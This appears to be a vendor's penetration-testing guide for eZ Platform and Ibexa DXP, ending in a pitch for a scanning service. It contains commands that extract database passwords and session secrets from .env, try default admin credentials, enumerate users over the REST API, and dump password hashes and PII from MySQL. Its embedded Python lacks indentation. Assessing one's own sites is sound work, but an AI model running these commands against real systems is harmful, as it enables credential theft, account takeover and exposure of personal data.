eZ Platform (rebranded as Ibexa DXP in 2021) is an enterprise PHP CMS/DXP built on Symfony, used by large organizations, media companies, and government entities. Key assessment areas: .env DATABASE_URL exposes MySQL/MariaDB credentials; the admin interface at /admin is a brute-force target; ezuser stores SHA-256+salt (eZ Platform 2.x) or bcrypt (Ibexa 3+) password hashes; the eZ REST API at /api/ezp/v2/ may expose content and user data; and SECRET_KEY in .env signs all session cookies. This guide covers systematic eZ Platform/Ibexa security assessment.
# eZ Platform / Ibexa — .env DATABASE_URL and SECRET_KEY extraction
EZ_URL="https://site.example.com"
# .env — eZ Platform / Ibexa database and application configuration
cat /var/www/ezplatform/.env 2>/dev/null | \
grep -E "DATABASE_URL|APP_SECRET|MAILER_|SYMFONY_SECRET"
python3 -c "
import re
content = open('/var/www/ezplatform/.env').read()
# DATABASE_URL=mysql://user:password@127.0.0.1:3306/database
m = re.search(r'DATABASE_URL=mysql://([^:]+):([^@]+)@([^/]+)/(\S+)', content)
if m:
print(f'user: {m.group(1)}')
print(f'password: {m.group(2)[:60]}') # MySQL password (CRITICAL)
print(f'host: {m.group(3)}')
print(f'database: {m.group(4)}')
secret = re.search(r'APP_SECRET=(\S+)', content)
if secret: print(f'APP_SECRET: {secret.group(1)[:60]}') # Session signing key
" 2>/dev/null
# Check .env web access (CRITICAL)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${EZ_URL}/.env" 2>/dev/null)
echo "/.env: HTTP ${STATUS}"
# eZ Platform also has config/packages/ezplatform.yaml
grep -E "secret|database" /var/www/ezplatform/config/packages/ezplatform.yaml 2>/dev/null | head -5
# Test admin credentials at /admin
for CRED in "admin:publish" "admin:admin" "administrator@example.com:publish"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${EZ_URL}/login_check" \
-d "_username=${USER}&_password=${PASS}" \
-c /tmp/ez_c -b /tmp/ez_c -L 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
done
# eZ Platform / Ibexa REST API and admin assessment
EZ_URL="https://site.example.com"
# eZ REST API v2 — content and user enumeration
# Basic auth with admin credentials
curl -s "${EZ_URL}/api/ezp/v2/content/locations/1" \
-H "Accept: application/vnd.ez.api.Location+json" \
-u "admin:publish" 2>/dev/null | \
python3 -c "
import json, sys
try:
d = json.load(sys.stdin)
loc = d.get('Location', {})
print(f' path: {loc.get(\"pathString\")}')
print(f' hidden: {loc.get(\"hidden\")}')
except: pass
" 2>/dev/null
# Enumerate users via REST API
curl -s "${EZ_URL}/api/ezp/v2/user/users" \
-H "Accept: application/vnd.ez.api.UserList+json" \
-u "admin:publish" 2>/dev/null | head -10
# Ibexa REST API v3 (Ibexa DXP 3+)
curl -s "${EZ_URL}/api/ibexa/v2/user/users" \
-H "Accept: application/vnd.ibexa.api.UserList+json" \
-H "Authorization: Bearer extracted-token" 2>/dev/null | head -5
# eZ Platform admin at /admin (Symfony-based)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${EZ_URL}/admin" 2>/dev/null)
echo "/admin: HTTP ${STATUS}"
# eZ Platform version disclosure via composer.lock
cat /var/www/ezplatform/composer.lock 2>/dev/null | \
python3 -c "
import json, sys
lock = json.load(sys.stdin)
for pkg in lock.get('packages', []):
if pkg.get('name') in ['ezsystems/ezplatform', 'ibexa/oss']:
print(f'{pkg[\"name\"]}: {pkg[\"version\"]}')
break
" 2>/dev/null
# eZ Platform / Ibexa MySQL database — ezuser hash and content extraction
DB_PASS="extracted-db-password"
mysql -u ezplatform -p"${DB_PASS}" ezplatform 2>/dev/null << 'EOF'
-- ezuser — eZ Platform user accounts with password hashes
SELECT u.contentobject_id,
u.login,
u.email,
u.password_hash,
u.password_hash_type, -- 5=SHA256+salt, 7=bcrypt (Ibexa 3+)
u.is_enabled, -- 1 = active account
u.max_login,
u.failed_login_attempts,
u.last_visit
FROM ezuser u
WHERE u.is_enabled = 1
ORDER BY u.contentobject_id;
-- password_hash_type=5: SHA-256 with site.ini hash_type config (eZ Publish legacy)
-- password_hash_type=7: bcrypt (eZ Platform 2+, Ibexa 3+)
-- ezcontentobject — content objects (published and archived)
SELECT c.id, c.name, c.status,
c.contentclass_id, c.owner_id,
c.published, c.modified,
c.section_id, c.is_hidden
FROM ezcontentobject c
WHERE c.status = 0 -- draft (unpublished)
OR c.is_hidden = 1
ORDER BY c.modified DESC
LIMIT 20;
-- ez_user_settings — eZ Platform user profile settings
SELECT s.user_id, s.is_enabled,
s.max_login
FROM ez_user_settings s
WHERE s.is_enabled = 1
ORDER BY s.user_id
LIMIT 20;
-- ezcontentobject_attribute — field data (email, phone, addresses)
SELECT a.contentobject_id,
a.attribute_original_id,
a.data_text, -- plaintext field value (may contain PII)
a.data_int
FROM ezcontentobject_attribute a
WHERE a.data_text LIKE '%@%' -- email addresses in content fields
OR a.data_text LIKE '+%' -- phone numbers
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| .env DATABASE_URL MySQL password and APP_SECRET session key extraction | GET /.env — HTTP 200 = DATABASE_URL password + APP_SECRET; full MySQL access + Symfony session forgery without credentials | Critical |
| ezuser default admin/publish credential testing | POST /login_check — admin/publish legacy default; admin session enables full content management and user administration via REST API | Critical |
| ezuser SHA-256 or bcrypt hash extraction with admin role identification | MySQL SELECT password_hash, password_hash_type FROM ezuser — type 5 SHA-256 GPU-crackable; type 7 bcrypt resistant; join ezuser_role for admin identification | High |
| eZ REST API authenticated content and user enumeration | GET /api/ezp/v2/user/users with admin:publish — enumerate all platform users, roles, and content objects via REST | High |
| ezcontentobject draft content and hidden location enumeration | MySQL SELECT name, status FROM ezcontentobject WHERE status=0 — unpublished draft content including embargoed articles, internal documents | Medium |
Ironimo tests eZ Platform and Ibexa DXP deployments for .env DATABASE_URL MySQL password and APP_SECRET web accessibility, admin/publish legacy default credential testing at /login_check, ezuser SHA-256 (password_hash_type=5) or bcrypt (type=7) hash extraction, eZ REST API /api/ezp/v2/ user and content enumeration, ezcontentobject draft and hidden location access, ezcontentobject_attribute PII field extraction, Ibexa REST API /api/ibexa/v2/ endpoint access assessment, /admin/ IP restriction verification, Ibexa version disclosure via composer.lock, and Symfony security advisory cross-reference via composer audit.
Start free scan